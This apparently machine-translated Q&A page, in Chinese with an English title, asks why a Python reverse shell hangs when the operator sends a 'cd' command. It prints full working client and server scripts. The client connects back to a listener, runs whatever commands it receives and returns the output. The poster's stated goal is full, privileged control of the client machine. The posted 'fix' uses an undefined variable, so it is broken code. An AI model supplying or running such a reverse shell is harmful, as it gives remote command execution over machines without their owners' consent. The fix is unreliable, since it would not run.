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嘗試更改目錄時,使用 Python 命令的反向 Shell 命令卡住了

[英]Reverse Shell Command with Python command gets stuck when trying to change directory

我正在嘗試使用帶有 python 的反向 shell 以完全權限獲得完全訪問權限。

連接建立后,我可以執行諸如“ipconfig”或“dir”之類的命令(盡管有時在獲得“dir”命令的結果之前我需要詢問兩次。

但是,當我嘗試使用“cd..”命令更改目錄時,它會卡住並且不返回任何內容。

這是我的客戶端文件:

import socket
import subprocess
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 
    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

這是我的服務器文件:

import socket
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    command = input("Enter the command you wanna execute:")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    else:
        results = client_socket.recv(1024).decode()
        print(results)
client_socket.close()
s.close()

這是我得到的以及卡住的地方:

Listening as 192.168.1.81:5003 ...
192.168.1.81:52553 Connected!
 Enter the command you wanna execute:dir
 Volume in drive C is Windows
 Volume Serial Number is 7E4C-AD89

 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke

10/11/2020  08:45 AM    <DIR>          .
10/11/2020  08:45 AM    <DIR>          ..
10/11/2020  08:44 AM    <DIR>          .idea
10/11/2020  12:40 AM                 0 Client.py
10/11/2020  08:45 AM               569 my_client.py
10/11/2020  12:40 AM               885 my_server.py
               3 File(s)          1,454 bytes
               3 Dir(s)  46,585,339,904 bytes free
Enter the command you wanna execute:cd..

# It gets stuck here, it does not return anything.

如何獲得對客戶端的完全訪問權限並執行任何可能的命令?

通過使用“os.chdir”方法在客戶端文件中使用“os”庫解決,如下所示:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

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